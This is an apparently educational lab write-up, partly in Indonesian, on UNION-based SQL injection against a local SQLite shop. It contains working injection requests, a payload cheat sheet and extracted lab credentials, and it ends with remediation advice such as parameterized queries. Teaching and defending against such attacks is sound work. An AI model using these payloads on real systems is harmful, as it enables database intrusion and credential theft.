

VERZEN

WEB SECURITY LEARNING MODULE

REPORTER Verzen

MODULE VER-02 – UNION Attack (SQL Injection)

LEVEL MEDIUM

TARGET http://127.0.0.1:8011 – lab lokal milik sendiri (SQLite)

PREREQ VER-01 – filter bypass dengan OR 1=1

METHOD Probing manual via curl + browser: penghitungan kolom ORDER BY, ekstraksi UNION SELECT, reproduksi clean-session.

Summary

ID	LEVEL	OBJECTIVE
VER-02.1	STEP	Hitung jumlah kolom query rentan dengan ORDER BY
VER-02.2	STEP	Identifikasi kolom yang menampilkan teks (UNION SELECT string)
VER-02.3	GOAL	Ekstrak username + password tabel users tersembunyi — dapatkan kredensial administrator

DESCRIPTION

In the beginner lab (VER-01), OR 1=1 only disabled a filter — the leaked rows still came from the original query. The UNION attack levels up: the UNION operator appends the results of a second query crafted by the attacker to the original results. We can make the server run `SELECT password FROM users` and render the output on the product page.

UNION has two strict requirements:

1. The same number of columns as the original query — verified with ORDER BY.
2. Compatible data types per column — verified by substituting the string 'a' or NULL.

METHODOLOGY — 4 STEPS

1. Count columns: inject ' ORDER BY 1--, then 2--, 3-- ... The largest number that does NOT error = the column count.
2. Find text columns: inject ' UNION SELECT 'a',NULL-- then ' UNION SELECT NULL,'a'--. Whichever renders 'a' accepts text.
3. Find table names: try common guesses (users, accounts) or read sqlite_master (SQLite) / information_schema (MySQL).
4. Extract data: ' UNION SELECT username,password FROM users--

REPRODUCTION STEPS

All requests run against our own local lab (127.0.0.1:8011). ' is sent as %27 and spaces as %20.

Step 1 — ORDER BY (column counting)

```
GET /filter?kategori=Gifts%27%20ORDER%20BY%202-- -> 200 OK
GET /filter?kategori=Gifts%27%20ORDER%20BY%203-- -> 500 ERROR
Conclusion: the original query has 2 columns (name, price).
```

Step 2 — UNION SELECT strings (text-column probe)

```
GET /filter?kategori=%27%20UNION%20SELECT%20%27a%27,%27b%27--
Result: a new row "a | b" appears -> both columns accept text.
```

Step 3 — Credential extraction (main attack)

```
GET /filter?kategori=%27%20UNION%20SELECT%20username,password%20FROM%20users--
Hijacked server-side query:
SELECT name, price FROM products WHERE category = '' UNION
SELECT username, password FROM users--' AND released = 1
```

RESULT

USERNAME	PASSWORD
administrator	Flag{union_attack_medium}
carlos	Montoya123
wiener	PeterWiener

Row order may vary. administrator + flag = mission complete.

WHY IT WORKS

The original query returns 2 columns; the attacker's query also returns 2 — count and types match, so SQLite executes both and concatenates the results. The server renders EVERY row without provenance checks, so credentials end up on the product page. The real weakness is not UNION itself but concatenating user input into SQL.

RECOMMENDATION

1. Parameterized queries — user input never becomes SQL code:
2. Category whitelist — validate against a fixed list.
3. Least privilege — the app's DB account shouldn't read users at all.
4. Never surface raw errors — log them server-side only.

```
cur.execute("SELECT nama, harga FROM products WHERE kategori = ? AND released = 1", (kategori,))
```

APPENDIX — UNION CHEAT SHEET

```
Jumlah kolom      : ' ORDER BY N--          (naikkan N sampai error)
Kolom teks        : ' UNION SELECT 'a',NULL-- (geser 'a' ke tiap kolom)
Nama tabel (SQLite): ' UNION SELECT name,NULL FROM sqlite_master--
Skema tabel        : ' UNION SELECT sql,NULL FROM sqlite_master WHERE type='table'
Ekstrak data       : ' UNION SELECT username,password FROM users--
MySQL ekuivalen    : information_schema.tables / .columns
```

LEGAL NOTICE

Every technique in this module is strictly for your own local lab (localhost). Using them against systems you do not own, without written permission, is illegal. The legitimate path to real targets: bug bounty programs with explicit scope (HackerOne, Bugcrowd, ImmuneFi).